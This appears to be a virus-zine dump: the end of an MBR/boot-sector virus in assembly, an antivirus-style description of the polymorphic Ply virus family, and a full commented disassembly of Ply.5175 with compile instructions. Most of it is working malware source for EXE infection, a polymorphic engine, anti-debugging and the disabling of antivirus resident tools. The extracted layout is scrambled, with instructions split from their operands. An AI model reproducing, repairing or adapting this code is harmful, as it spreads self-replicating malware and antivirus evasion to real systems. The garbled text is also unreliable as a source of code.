; here is the end of the part of the virus that is always in memory (starting ; from 0:300h up to 0:33Ch) org $-4 ; ; ; ; ; The next four bytes (as you notice by the org :) ) are overwritten in memory by the int13h seg:off, but are always present on the

; disk. Infact the infection ; routine is present in mem ; just when needed... infect_ste: popa mov cmp jb cmp je pusha add mov int mov mov int popa you_wont: clc xor jmp floppy_disk: cmp je int jmp reading_it: push ah,2 reading_it 0ceh short exit_infect ; are they reading? ax,ax short exit_infect ; zero AX bh,2 cl,6 13h ax,301h cl,7 13h al,01h dl,80h floppy_disk ah,03h you_wont ; is on the HD ? ; reload calling regs

; writing on the MBR ??? :)

; it seems they are going ; to read it... ; read the saved one from HD

; save it on our disk buffer

; well, leave the sucker ; to write and exit

bx add int pop jc cld pusha lea lea_ok segcs cmp

bh,2 0ceh bx exit_infect

; read it in our mem buffer ; (this is ES:[BX+200h])

; exit on error

si,ds:[0227h + bx] di,ds:[ 027h + bx] movsd

; point to the serial num ; point to the dest serial num ; copy the serial number this place is usually at floppy formatation 00h, so if it != 00h then maybe it is already infected and it may contain a payload cntr

jne mov

word ptr es:[220h+bx],0 ; ; ; ; ; no_bonus ax,301h

; write virus to floppy disk

int jc add_l mov mov mov int no_bonus: mov add mov mov int lea lea_ok

0CEh no_bonus

; error? if so no bonus!

word ptr [bx+ 20h ],02h ; add 2 to our payload counter ax,301h cl,5 dl,80h 13h ; rewrite the virus body ; to its usual place, but ; with the different counter

ax,201h bh,2 cl,1 dx,180h 13h si,ds:[bx-200h+03h] di,ds:[ 03h + bx]

; ; ; ;

read the dos boot sector that is very probably here. this is a good "normal" boot sector

; ; ; ;

point to our space for the bpb point to the dos boot space of the bpb

mov segcs

cl,3bh rep movsb

; how many bytes we need ; move our (floppy) bpb to ; it's place. ; ; ; ; ; write it to the buffer on the disk... this is what will be returned also to the user this is floppy bs stealth

mov mov mov int popa exit_infect: pushf pusha mov mov mov db dw dw

ax,301h cl,7 dh,0 13h

ax,202h cl,7 dl,80h 0eah 330h 00h

; read the two sectors from ; our temp disk buffer to ; his buffer in ES:BX ; ; ; ; jmp far adress of returning the segment where the virus resides is always 00h

; ide programming sequence org $-1

; one byte for ide programming ; is used directly from the ; absolute jump before ; ; ; ; ; ; ; ; ; ; ; ÚÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ Port ³ Effect ³ ÃÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ 1F1h ³ Set Precompensation to 0 ³ ³ 1F2h ³ Set Sector count to 1 ³ ³ 1F3h ³ Set Sector number to 1 ³ ³ 1F4h ³ Set Cylinder high to 0 ³ ³ 1F5h ³ Set Cylinder low to 0 ³ ³ 1F6h ³ Set Drive to 0, Head 0 ³ ³ 1F7h ³ Set Write sector ³ ÀÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

ide_prog:

db db db db db db db

000h 001h 001h 000h 000h 0A0h 030h

; name_stuff are bytes used for the virus name

name_stuff: db db org db org end 070h,086h,048h,06Eh,0A6h,01Bh,0B7h,087h 02ch,0A9h,0BFh,024h,041h 01feh 55h,0AAh 200h

boot_marker

Ply family ÄÄÄÄÄÄÄÄÄÄ These are dangerous nonmemory resident parasitic viruses. They search for all EXE files in the current directory, then write themselves to the end of the file. The viruses are not encrypted, but they look as polymorphic viruses. Their codes in different infected files have very few constant bytes, and as a result there is no constant scan string to detect these viruses. To do that the viruses use quite complex engine that "mixes" the code in the virus body. The viruses contain three blocks: block of main code, block of data, block of redirected calls. ÚÄÄÄÄÄÄÄÄÄÄ¿ ³Main Code ³ ³ ³ ³----------³ ³Data ³ ³----------³ ³Redirected³ ³Calls ³ ³ ³ ÀÄÄÄÄÄÄÄÄÄÄAll assembler instructions in the Main Code are not more that 3 bytes of length, and all instructions occupy three bytes in the virus code. If the length of instruction is less than 3 bytes, free bytes contain NOP instructions. As a result all instructions in the viruses occupy 3-bytes blocks. While infecting a file the viruses "move" the instructions in the 3-bytes block, if there is NOP command: 8C C8 90 MOV AX,CS NOP <ÄÄ> 90 8C C8 NOP MOV AX,CS

There are also the data that contain 6-bytes blocks to copy the instructions to Redirected Calls and replace them with CALL or JMP commands: Replaced with CALL ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ E8 xx xx CALL Ä¿ <ÄÄ> ... <ijÄÄÄ¿ ... ³ ³ ... V ³ 8C C8 MOV AX,CS ³ 90 NOP ³ C3 RET ÄÄÄReplaced with JMP ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ E9 xx xx JMP Ä¿ <ÄÄ> ... <ijÄÄÄ¿ 8C C8 ... ³ ³ ... V ³ 8C C8 MOV AX,CS ³ 90 NOP ³ E9 xx xx JMP back ÄOriginal code ÄÄÄÄÄÄÄÄÄÄÄÄÄ 90 NOP MOV AX,CS

<marked as free block>

So, any instruction can be shifted in the 3-bytes blocks, it can be copied to random selected address in the virus and then replaced with CALL or JMP command, and existing CALLs and JMPs redirectors can be replaced with original code. No byte is encrypted, and there are very few constant bytes to detect the virus. Such complex engine is not bugs-free, and the viruses often corrupt the files while infecting them. The viruses check the names of the files before infecting them, and do not infect the files:

"Ply.4224,4722": AVP AVPLITE AVPVE EMM386 F-PROT FV386 FV86 MSAV MVTOOL10 SCAN TBSCAN TBAV TBCHECK TBCLEAN TBDISK TBDRIVER TBFILE TBGENSIG TBKEY TBLOG TBMEM TBSETUP TBSCANX TBUTIL VALIDATE VIRSTOP VPIC VSAFE. "Ply.5133": AVP AVPLITE AVPVE EICAR EMM386 F-PROT FV386 FV86 MSAV MVTOOL10 SCAN TBSCAN TBAV TBCHECK TBCLEAN TBDISK TBDRIVER TBFILE TBGENSIG TBKEY TBLOG TBMEM TBSETUP TBSCANX TBUTIL VALIDATE VIRSTOP VPIC VSAFE. "Ply.5175": AVP AVPLITE AVPVE BAIT EICAR EMM386 F-PROT FV386 FV86 MSAV MVTOOL10 SCAN TBSCAN TBAV TBCHECK TBCLEAN TBDISK TBDRIVER TBFILE TBGENSIG TBKEY TBLOG TBMEM TBSETUP TBSCANX TBUTIL VALIDATE VIRSTOP VIRUS VPIC VSAFE "Ply.4722,5133,5175" delete the \NCDTREE file, if it exists. ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[PLY_5175.ASM]ÄÄ comment * Ply.5175 Disassembly by Darkman/29A Ply.5175 is a 5175 bytes parasitic direct action EXE virus. Infects every file in current directory, when executed, by appending the virus to the infected file. Ply.5175 has an error handler, anti-heuristic techniques, anti-debugging techniques, retro structures and is polymorphic in file by using its internal polymorphic engine. To compile Ply.5175 with Turbo Assembler v 4.0 type: TASM /m PLY_5175.ASM TLINK /t /x PLY_5175.OBJ * .model tiny .code org 100h

; Origin of Ply.5175

code_begin: delta_offset equ $+01h mov bp,100h poly_begin: mov ax,cs nop mov ds,ax nop mov es,ax nop mov sub nop sti nop nop cld nop nop mov ax,2020h ax,100h bp,ax

; Delta offset ; BP = delta offset ; AX = code segment ; DS = ; ES = " " " "

; AX = offset of beginning of code ; Subtract offset of beginning of ...

; Set interrupt-enable flag

; Clear direction flag

mov add nop mov add nop add int nop mov add lea add nop int nop xor nop mov nop mov lea add nop mov rep nop mov nop mov nop mov mov call mov nop mov nop mov cmp nop je nop mov add call lea add nop mov nop mov nop mov

si,(4e41h-2020h) si,ax ; " di,(4e55h-2020h) di,ax ; " ax,(0fe02h-2020h) 2fh

; Disable AutoProtect and NAVTSR " " " ; " " ; " " " " " " " " "

ax,20e0h ax,(4100h-20e0h) ; Delete file dx,_ncdtree ; DX = offset of _ncdtree dx,bp ; Add delta offset 21h

ax,ax ds,ax

; Zero AX ; DS = segment of interrupt table

si,(2fh*04h) ; SI = offset of interrupt vector 24h di,int2f_addr ; DI = offset of int2f_addr di,bp ; Add delta offset cx,04h movsb ; Move four bytes to int2f_addr ; Move interrupt vector 2fh to int...

ax,cs ds,ax

; AX = code segment ; DS = " "

ax,1202h ; Get interrupt address dx,24h ; Get interrupt address of interru... int2f_simula ax,cs es,ax ; AX = code segment ; ES = " "

ax,(24h*04h) ; AX = offset of interrupt vector 24h bx,ax ; Debugging? prepare_exit ; No debugging? Jump to prepare_exit

ax,(3501h-2020h) ax,2020h int21_simula

; Get interrupt vector 01h

di,int01_off ; DI = offset of int01_off di,bp ; Add delta offset [di],bx ; Store offset of interrupt 01h

ax,cs es,ax

; AX = code segment ; ES = " "

nop mov add lea add nop call prepare_exit: lea add nop lea add nop mov stosw nop nop mov stosw nop nop mov stosw nop nop mov stosw nop nop lea add nop mov poly_loop: in nop mov nop in nop xor nop and nop push nop nop push nop nop cmp nop jne nop mov nop ax,(2501h-2020h) ; Get interrupt vector 01h ax,2020h dx,int01_virus ; DX = offset of int01_virus dx,bp ; Add delta offset int21_simula si,file_header ; SI = offset of file_header si,bp ; Add delta offset di,instruct_ptr ; SI = offset of instruct_ptr di,bp ; Add delta offset

ax,[si+14h] ; AX = instruction pointer ; Store instruction pointer

ax,[si+16h] ; AX = code segment ; Store code segment

ax,[si+0eh] ; AX = stack segment ; Store stack segment

ax,[si+10h] ; AX = stack pointer ; Store stack pointer

si,poly_begin ; SI = offset of poly_begin si,bp ; Add delta offset cx,(poly_end-poly_begin)/03h al,40h ah,al al,40h al,ah al,00011111b ; AL = 8-bit random number ; AH = ; AL = ; AL = " " " " " " " " "

; AL = random number between zero ...

cx

; Save CX at stack

si

; Save SI at stack

al,00h test_append

; Prepend a NOP to the opcode? ; Not equal? Jump to test_append

al,[si]

; AL = first byte of three-bytes b...

cmp nop je nop mov cmp nop jne nop mov nop lea add nop mov cmp nop je nop and nop cmp nop jne nop dec_imm8: dec prepend_nop: mov nop mov nop mov nop mov nop mov rep nop dont_poly: jmp test_append: cmp nop jne nop mov nop cmp nop jne nop mov lea add nop

al,90h dont_poly

; NOP (opcode 90h)? ; Equal? Jump to dont_poly

al,[si+02h] ; AL = third byte of three-byte block al,90h ; NOP (opcode 90h) dont_poly ; Not equal? Jump to dont_poly

ax,[si]

; AX = first word of three-bytes b...

bx,poly_buffer ; BX = offset of poly_buffer bx,bp ; Add delta offset [bx+01h],ax al,0ebh dec_imm8 ; Store first word of three-bytes ... ; JMP imm8 (opcode 0ebh) ; Equal? Jump to dec_imm8

al,11110000b al,70h prepend_nop ; Jump on condition? ; Not equal? Jump to prepend_nop

byte ptr [bx+02h] al,90h [bx],al

; Decrease 8-bit immediate

; NOP (opcode 90h) ; Prepend a NOP to the opcode

di,si si,bx cx,03h movsb

; DI = offset of current three-byt... ; SI = offset of poly_buffer ; Move three bytes ; Move three-bytes block to offset...

test_loop al,01h test_create ; Append a NOP to the opcode? ; Not equal? Jump to test_create

al,[si] al,90h dont_poly_

; AL = first byte of three-bytes b... ; NOP (opcode 90h)? ; Not equal? Jump to dont_poly_

ax,[si+01h] ; AX = second word of three-bytes ... bx,poly_buffer ; BX = offset of poly_buffer bx,bp ; Add delta offset

mov nop cmp nop je nop and nop cmp nop jne nop dec_imm8_: inc append_nop: mov nop mov mov nop mov nop mov rep nop dont_poly_: jmp test_create: cmp nop jne nop mov nop cmp nop jne nop mov nop create_call: cmp nop je nop cmp nop je nop cmp nop je nop cmp nop je nop

[bx],ax

; Store second word of three-bytes...

al,0ebh dec_imm8_

; JMP imm8 (opcode 0ebh) ; Equal? Jump to dec_imm8_

al,11110000b al,70h append_nop ; Jump on condition? ; Not equal? Jump to append_nop

byte ptr [bx+01h] al,90h [bx+02h],al di,si si,bx cx,03h movsb

; Decrease 8-bit immediate

; NOP (opcode 90h) ; Append a NOP to the opcode ; DI = offset of current three-byt... ; SI = offset of poly_buffer ; Move three bytes ; Move three-bytes block to offset...

test_loop al,02h delete_call ; Create a CALL imm16 to the opcode? ; Not equal? Jump to delete_call

ax,[si] al,90h create_call

; AX = first word of three-bytes b... ; NOP (opcode 90h)? ; Not equal? Jump to create_call

al,ah

; AL = second byte of three-bytes ...

al,0e9h call_exit al,0e8h call_exit al,0ebh call_exit al,0c3h call_exit

; JMP imm16 (opcode 0e9h) ; Equal? Jump to call_exit ; CALL imm16 (opcode 0e8h) ; Equal? Jump to call_exit ; JMP imm8 (opcode 0ebh) ; Equal? Jump to call_exit ; RET (opcode 0c3h) ; Equal? Jump to call_exit

and nop cmp nop je nop cmp nop je nop call mov rep nop mov nop stosb nop nop in nop stosb nop nop in nop stosb nop nop mov nop lea add nop mov nop mov nop sub nop sub mov mov nop mov sub nop mov nop mov rep nop call_exit: jmp delete_call:

al,11110000b al,70h call_exit al,50h call_exit ; Jump on condition? ; Equal? Jump to call_exit ; PUSH reg16/POP reg16? ; Equal? Jump to call_exit

get_poly_off cx,03h movsb ; Move three bytes ; Move three-bytes block to offset...

al,0c3h

; RET (opcode 0c3h) ; Store RET

al,40h

; AL = 8-bit random number ; Store 8-bit random number

al,40h

; AL = 8-bit random number ; Store 8-bit random number

al,0e8h

; CALL imm16 (opcode 0e8h)

bx,poly_buffer ; BX = offset of poly_buffer bx,bp ; Add delta offset [bx],al ; Create a CALL imm16 to the opcode

ax,di ax,si

; AX = random offset of polymorphi... ; Subtract offset of current three...

ax,06h ; Subtract size of six-bytes block [bx+01h],ax ; Store 16-bit immediate di,si ax,03h di,ax si,bx cx,03h movsb ; SI = offset of current three-byt... ; AX = size of opcode CALL imm16 ; Subtract size of opcode CALL imm... ; SI = offset of poly_buffer ; Move three bytes ; Move three-bytes block to offset...

test_loop

cmp nop jne nop mov nop cmp nop jne nop mov add mov nop add nop lea add nop cmp nop jb nop mov rep nop mov nop mov nop mov in nop mov in nop mov nop call_exit_: jmp test_create_: cmp nop jne nop mov nop cmp nop jne nop mov nop create_jmp:

al,03h test_create_

; Delete previously created CALL i... ; Not equal? Jump to test_create_

al,[si] al,0e8h call_exit_

; AL = first byte of three-bytes b... ; CALL imm16 (opcode 0e8h)? ; Not equal? Jump to call_exit_

ax,[si+01h] ; AX = 16-bit immediate ax,03h ; Add size of opcode CALL imm16 di,si si,ax ; DI = offset of current three-byt... ; Add 16-bit immediate

bx,poly_blocks ; BX = offset of poly_blocks bx,bp ; Add delta offset si,bx call_exit_ ; 16-bit immediate within polymorp... ; Below? Jump to call_exit_

cx,03h movsb

; Move three bytes ; Move three-bytes block to offset...

al,90h ah,al [si-03h],ax al,40h [si-01h],al al,40h [si],al

; NOP (opcode 90h) ; NOP; NOP (opcode 90h,90h) ; Store NOP; NOP ; AL = 8-bit random number ; Store 8-bit random number ; AL = 8-bit random number ; Store 8-bit random number

test_loop al,04h delete_jmp ; Create a JMP imm16 to the opcode? ; Not equal? Jump to delete_jmp

ax,[si] al,90h create_jmp

; AX = first word of three-bytes b... ; NOP (opcode 90h)? ; Not equal? Jump to create_jmp

al,ah

; AL = second byte of three-bytes ...

cmp nop je nop cmp nop je nop cmp nop je nop and nop cmp nop je nop call mov rep nop mov nop stosb nop nop mov nop sub nop neg nop sub stosw nop nop mov nop lea add nop mov nop mov nop sub nop sub mov mov nop mov sub nop

al,0e9h jmp_exit al,0e8h jmp_exit al,0ebh jmp_exit

; JMP imm16 (opcode 0e9h)? ; Equal? Jump to jmp_exit ; CALL imm16 (opcode 0e8h) ; Equal? Jump to jmp_exit ; JMP imm8 (opcode 0ebh) ; Equal? Jump to jmp_exit

al,11110000b al,70h jmp_exit ; Jump on condition? ; Equal? Jump to jmp_exit

get_poly_off cx,03h movsb ; Move three bytes ; Move three-bytes block to offset...

al,0e9h

; JMP imm16 (opcode 0e9h) ; Store JMP imm16

ax,di ax,si ax ax,02h

; AX = random offset of polymorphi... ; Subtract offset of current three... ; Negate AX ; Subtract two from 16-bit immediate ; Store 16-bit immediate

al,0e9h

; JMP imm16 (opcode 0e9h)

bx,poly_buffer ; BX = offset of poly_buffer bx,bp ; Add delta offset [bx],al ; Create a JMP imm16 to the opcode

ax,di ax,si

; AX = random offset of polymorphi... ; Subtract offset of current three...

ax,06h ; Subtract size of six-bytes block [bx+01h],ax ; Store 16-bit immediate di,si ax,03h di,ax ; SI = offset of current three-byt... ; AX = size of opcode CALL imm16 ; Subtract size of opcode CALL imm...

mov nop mov rep nop jmp_exit: jmp nop delete_jmp: cmp nop jne nop mov nop cmp nop jne nop mov add mov nop add nop lea add nop cmp nop jb nop mov rep nop mov nop mov nop mov in nop mov in nop mov nop jmp_exit_: jmp nop test_loop: pop nop nop pop nop

si,bx cx,03h movsb

; SI = offset of poly_buffer ; Move three bytes ; Move three-bytes block to offset...

test_loop

al,05h test_loop

; Delete previously created JMP im... ; Not equal? Jump to test_loop

al,[si] al,0e9h jmp_exit_

; AL = first byte of three-bytes b... ; JMP imm16 (opcode 0e9h)? ; Not equal? Jump to jmp_exit_

ax,[si+01h] ; AX = 16-bit immediate ax,03h ; Add size of opcode CALL imm16 di,si si,ax ; DI = offset of current three-byt... ; Add 16-bit immediate

bx,poly_blocks ; BX = offset of poly_blocks bx,bp ; Add delta offset si,bx jmp_exit_ ; 16-bit immediate within polymorp... ; Below? Jump to jmp_exit_

cx,03h movsb

; Move three bytes ; Move three-bytes block to offset...

al,90h ah,al [si-03h],ax al,40h [si-01h],al al,40h [si],al

; NOP (opcode 90h) ; NOP; NOP (opcode 90h,90h) ; Store NOP; NOP ; AL = 8-bit random number ; Store 8-bit random number ; AL = 8-bit random number ; Store 8-bit random number

test_loop

si

; Load SI from stack

cx

; Load CX from stack

nop mov add nop dec nop nop jz nop jmp poly_exit: jmp nop ax,03h si,ax ; AX = size of block ; SI = offset of next three-byte b...

cx

; Decrease CX

poly_exit

; Zero? Jump to poly_exit

poly_loop set_dta_addr

get_poly_off proc near ; Get random offset of polymorphic... in al,40h ; AL = 8-bit random number nop mov ah,al ; AH = " " " nop in al,40h ; AL = 8-bit random number nop mov di,ax ; DI = 16-bit random number nop mov ax,(poly_end-poly_begin)/03h get_rnd_num: sub di,ax ; Subtract number of polymorphic b... nop cmp di,ax ; Too large a 16-bit random number? nop jae get_rnd_num ; Above or equal? Jump to get_rnd_num nop mov nop add nop add nop add nop add nop add nop lea add nop add nop mov nop mov nop cmp nop jne nop ax,di ; AX = 16-bit random number within...

di,ax di,ax di,ax di,ax di,ax

; Add number of polymorphic blocks ; ; ; ; " " " " " " " " " " " " " " " " " " " "

ax,poly_blocks ; AX = offset of poly_blocks di,ax ; Add offset of poly_blocks to ran... di,bp ; Add delta offset

al,90h ah,al [di],ax get_poly_off

; NOP (opcode 90h) ; NOP; NOP (opcode 90h,90h) ; Offset already in use? ; Not equal? Jump to get_poly_off

ret nop nop endp set_dta_addr: mov nop int nop push nop nop mov nop push nop nop mov nop mov nop mov nop lea add nop mov nop int nop mov int nop push nop nop mov nop push nop nop mov nop mov nop mov lea add nop int nop xor nop mov nop mov

; Return!

ah,2fh 21h bx

; Get disk transfer area address

; Save BX at stack

ax,es ax

; ES = segment of disk transfer area ; Save AX at stack

ax,cs es,ax

; AX = code segment ; ES = " "

ah,1ah dx,dta dx,bp di,dx 21h

; Set disk transfer area address ; DX = offset of dta ; Add delta offset ; DI = offset of dta

ax,3524h 21h bx

; Get interrupt vector 24h

; Save BX at stack

ax,es ax

; ES = segment of interrupt 24h ; Save AX at stack

ax,cs es,ax

; AX = code segment ; ES = " "

ax,2524h ; Get interrupt vector 24h dx,int24_virus ; DX = offset of int24_virus dx,bp ; Add delta offset 21h

ax,ax ds,ax si,(2ah*04h)

; Zero AX ; DS = segment of interrupt table ; SI = offset of interrupt vector 2ah

lodsw nop nop push nop nop lodsw nop nop push nop nop lea add nop mov mov nop mov mov nop mov nop mov add mov lea add nop mov nop mov nop mov jmp nop find_next: mov add find_first: int nop jnc nop xor nop mov nop mov pop nop nop pop nop nop stosw nop nop

; AX = offset of interrupt 2ah

ax

; Save AX at stack

; AX = segment of interrupt 2ah

ax

; Save AX at stack

ax,int2a_virus ; AX = offset of int2a_virus ax,bp ; Add delta offset [si-04h],ax ; Set interrupt offset 2ah ax,cs ; AX = code segment [si-02h],ax ax,cs ds,ax ; Set interrupt segment 2ah ; AX = code segment ; DS = " "

ax,(4e00h-2020h) ; Find first matching file ax,2020h cx,0000000000000111b dx,file_specifi ; DX = offset of file_specifi dx,bp ; Add delta offset

bx,dx al,'E' [bx+02h],al find_first

; BX = offset of file_specifi

; Correct the file specification

ax,(4f00h-2020h) ax,2020h 21h examine_name

; Find next matching file

; No error? Jump to examine_name

ax,ax es,ax

; Zero AX ; ES = segment of interrupt table

di,(2ah*04h) ; DI = offset of interrupt vector 2ah bx ; Load BX from stack

ax

; Load AX from stack

; Set interrupt offset 2ah

mov nop stosw nop nop mov nop mov nop pop nop nop mov nop pop nop nop mov int nop mov nop mov nop pop nop nop mov nop pop nop nop mov sub mov int nop mov nop mov nop jmp examine_name: mov nop mov push nop nop lea add nop lea add nop next_name:

ax,bx

; AX = segment of interrupt 2ah ; Set inerrupt segment 2ah

ax,cs es,ax

; AX = code segment ; ES = " "

ax

; Load AX from stack

ds,ax dx

; DS = segment of interrupt 24h ; Load DX from stack

ax,2524h 21h

; Set interrupt vector 24h

ax,cs ds,ax

; AX = code segment ; DS = " "

ax

; Load AX from stack

ds,ax dx

; DS = segment of disk transfer area ; Load DX from stack

ax,(1a00h+2020h) ; Set disk transfer area address ax,2020h dx,80h ; DX = offset of default disk tran... 21h

ax,cs ds,ax

; AX = code segment ; DS = " "

virus_exit al,'V' [bx+02h],al di ; Correct the file specification ; Save DI at stack

si,table_begin ; SI = offset of table_begin si,bp ; Add delta offset di,filename ; DI = offset of filename di,bp ; Add delta offset

mov nop lodsb nop nop cmp nop je nop mov nop mov nop add nop inc nop nop push nop nop rep nop pop nop nop je nop mov nop jmp nop jmp_fnd_nxt: pop nop nop jmp open_file: pop nop nop lea add nop mov lea add nop int nop mov nop mov nop mov

bx,si

; BX = offset within table ; AL = size of filename

al,00h open_file

; End of table? ; Equal? Jump to open_file

ah,00h cx,ax bx,cx bx

; AX = size of filename ; CX = " " "

; BX = offset of next filename ; BX = " " " "

di

; Save DI at stack

cmpsb di

; Compare filename with filname in... ; Load DI from stack

jmp_fnd_nxt

; Equal? Jump to jmp_fnd_nxt

si,bx

; SI = offset of next filename

next_name

di

; Load DI from stack

find_next di ; Load DI from stack

si,file_header ; SI = offset of file_header si,bp ; Add delta offset

ax,3d00h ; Open file (read) dx,filename ; DX = offset of filename dx,bp ; Add delta offset 21h bx,ax ; BX = file handle

ah,3fh dx,si

; Read from file ; DX = offset of file_header

nop mov int nop mov nop int nop mov sub cmp nop je nop xchg nop cmp nop je nop jmp_fnd_nxt_: jmp examine_file: mov cmp je nop mov add xor nop lea add nop int nop mov add lea add nop int nop mov nop mov xor nop xor nop int nop mov add mov lea

cx,1ah 21h

; Read twenty-six bytes

ah,3eh 21h

; Close file

ax,('ZM'+2020h) ; EXE signature ax,2020h [si],ax ; Found EXE signature? examine_file ; Equal? Jump to examine_file

ah,al [si],ax examine_file

; Exchange EXE signature ; Found EXE signature? ; Equal? Jump to examine_file

find_next ax,2020h [si+12h],ax jmp_fnd_nxt_

; Already infected? ; Equal? Jump to jmp_fnd_nxt_

ax,(4301h-2020h) ; Set file attributes ax,2020h cx,cx ; CX = new file attributes dx,filename ; DX = offset of filename dx,bp ; Add delta offset 21h

ax,(3d02h-2020h) ; Open file (read/write) ax,2020h dx,filename ; DX = offset of filename dx,bp ; Add delta offset 21h bx,ax ; BX = file handle

ax,4202h cx,cx dx,dx 21h

; Set current file position (EOF) ; Zero CX ; Zero DX

ax,(4000h-2020h) ; Write to file ax,2020h cx,(code_end-code_begin) dx,code_begin ; DX = offset of code_begin

add nop int nop mov mov nop shl nop push nop nop xchg nop nop mov mov push nop nop push nop nop sub nop sbb mov div nop mov nop lea add nop mov mov lea add nop mov nop inc nop nop mov mov nop mov add nop mov and nop mov mov mov

dx,bp 21h

; Add delta offset

ax,[si+08h] ; AX = header size in paragraphs cl,04h ; Multiply by paragraphs ax,cl bx ; AX = header size ; Save BX at stack

ax,bx

; BX = header size

ax,[di+1ah] ; AX = low-order word of filesize dx,[di+1ch] ; DX = high-order word of filesize ax ; Save AX at stack

dx

; Save DX at stack

ax,bx dx,00h cx,10h cx cx,dx

; Subtract header size from filesize ; Convert to 32-bit ; Divide by paragraphs ; CX = low-order word of filesize ...

bx,entry_point-100h ; BX = offset of entry_point dx,bx ; Add offset of entry_point to low... [si+14h],dx [si+16h],ax ; Store instruction pointer ; Store code segment

bx,delta_offset ; BX = offset of delta_offset bx,bp ; Add delta offset [bx],cx ; Store delta offset

ax

; Increase AX

[si+0eh],ax dx,cx

; Store stack segment ; DX = low-order word of filesize ...

ax,(code_end-code_begin+0c0h) dx,ax ; DX = stack pointer ax,1111111111111110b dx,ax ; DX = " [si+10h],dx ax,2020h [si+12h],ax

"

; Store stack pointer ; AX = infection mark ; Store infection mark

pop nop nop pop nop nop add adc mov nop push nop nop shr nop ror nop stc nop nop adc nop pop nop nop and mov mov pop nop nop mov mov mov int nop mov add mov lea add nop int nop mov xor nop xor nop int nop mov add mov mov nop int

dx

; Load DX from stack

ax

; Load AX from stack

ax,(code_end-code_begin) dx,00h ; Convert to 32-bit cl,09h ax ; Save AX at stack

ax,cl dx,cl

; Multiply by pages ; " " "

; Set carry flag

dx,ax ax

; DX = total number of 512-bytes p... ; Load AX from stack

ah,00000001b [si+04h],dx ; Store totalt number of 512-bytes... [si+02h],ax ; Number of bytes in last 512-byte... bx ; Load BX from stack

ax,4201h ; Set current file position (CFP) cx,-01h dx,-(code_end-delta_offset) 21h

ax,(4000h-2020h) ; Write to file ax,2020h cx,02h ; Write two bytes dx,delta_offset ; DX = offset of delta_offset dx,bp ; Add delta offset 21h

ax,4200h cx,cx dx,dx 21h

; Set current file position (SOF) ; Zero CX ; Zero DX

ax,(4000h-2020h) ; Write to file ax,2020h cx,1ah ; Write twenty-six bytes dx,si ; DX = offset of file_header 21h

nop mov add mov mov int nop mov nop int nop mov add mov nop mov lea add nop int nop jmp virus_exit: mov mov call mov nop mov nop mov cmp nop je nop mov int nop lea add nop lodsw nop nop mov nop mov nop mov nop mov add int ax,(5701h-2020h) ; Set file's date and time ax,2020h cx,[di+16h] ; CX = file time dx,[di+18h] ; DX = file date 21h

ah,3eh 21h

; Close file

ax,(4301h-2020h) ; Set file attributes ax,2020h ch,00h ; Zero CH cl,[di+15h] ; CL = file attribute dx,filename ; DX = offset of filename dx,bp ; Add delta offset 21h

find_next ax,1202h ; Get interrupt address dx,24h ; Get interrupt address of interru... int2f_simula ax,cs es,ax ; AX = code segment ; ES = " "

ax,(24h*04h) ; AX = offset of interrupt vector 24h bx,ax ; Debugging? virus_exit_ ; No debugging? Jump to virus_exit_

ax,3500h 21h

; Get interrupt vector 00h

si,int01_off ; SI = offset of int01_off si,bp ; Add delta offset ; AX = offset of interrupt 01h

dx,ax

; DX =

"

"

"

"

ax,es ds,ax

; AX = segment of interrupt 00h ; DS = " " " "

ax,(2501h-2020h) ax,2020h 21h

; Set interrupt vector 01h

nop mov nop mov nop mov nop eternal_loop: jmp nop virus_exit_: mov nop int nop mov nop mov nop add lea add nop add add cli nop nop xor nop poly_end: mov mov sti push mov db instruct_ptr dw code_seg dw stack_seg stack_ptr dw dw sp,[si+06h] ; SP = stack pointer ss,cx ; SS = stack segment ; Set interrupt-enable flag ax ds,bx 0eah ? ? ? ? ; Save AX at stack ; DS = segment of PSP for current ... ; JMP imm32 (opcode 0eah) ; Instruction pointer ; Code segment ; Stack segment ; Stack pointer ; Interrupt 24h of Ply.5175 ; Fail system call in progress ; Interrupt 01h of Ply.5175 ; Interrupt 2ah of Ply.5175 ; Interrupt return! ax,cs ds,ax es,ax ; AX = code segment ; DS = ; ES = " " " "

eternal_loop

ah,62h 21h es,bx

; Get current PSP address

; ES = segment of PSP for current ...

cx,bx cx,10h

; CX =

"

"

"

"

"

"

; CX = segment of beginning of code

si,instruct_ptr ; SI = offset of instruct_ptr si,bp ; Add delta offset

[si+02h],cx cx,[si+04h]

; Add segment of beginning of code... ; Add original stack segment to se...

; Clear interrupt-enable flag

ax,ax

; Zero AX

int24_virus proc near mov al,03h int01_virus proc int2a_virus proc iret endp endp endp int2f_simula proc push dx near near

near

; Simulate interrupt 21h ; Load DX from stack

pushf db int2f_addr dd pop ret endp

9ah ? dx

; CALL imm32 (opcode 9ah) ; Address of interrupt 2fh ; Load DX from stack ; Return!

